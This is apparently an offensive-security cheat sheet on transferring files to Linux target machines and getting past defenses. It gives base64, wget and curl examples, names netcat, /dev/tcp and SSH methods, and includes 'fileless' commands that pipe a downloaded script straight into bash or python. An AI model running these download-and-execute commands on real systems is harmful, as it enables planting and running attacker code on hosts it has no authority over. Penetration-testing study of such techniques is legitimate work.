Linux - File Transfer
Transferring files to or from Linux machines is crucial in various scenarios. Below are some methods for file transfer that could help to accomplish it and even bypass defenses:
Download to the system
Using base64 encoding
#On our machine
md5sum $file #Check the hash of the file
cat $file |base64 -w0 #Convert content and print it in one line
#On the target machine
echo 'b64String' | base64 -d > $file
md5sum $file #Compare the hash to confirm the integrity of the fileFrom the web to the target system
wget https://$URL/$file -O /tmp/$outFile
curl -o /tmp/$outFile https://$URL/$fileDownload and execute it directly in memory (fileless)
curl https://$URL/$file | bash
wget -qO- https://$URL/$pythonFile | python #Also can be done with PythonDownload using the installed programming languages in the target
Mount an HTTP server with any programming language and download content from it
Download from a web server using the /dev/TCP device file
Use the built-in device file to connect to the server and download a file via a petition
Download using SSH
Start the SSH service to transfer files
Upload to a web server
Use the uploadserver module to mount an upload server using HTTPS
Upload using SSH
Use the SCP utility to upload files
Transfer using Netcat and Ncat
From our machine to the target, creating a listener on the target
From our machine to the target, connecting to our listener
Using the /dev/tcp folder to receive the file
Last updated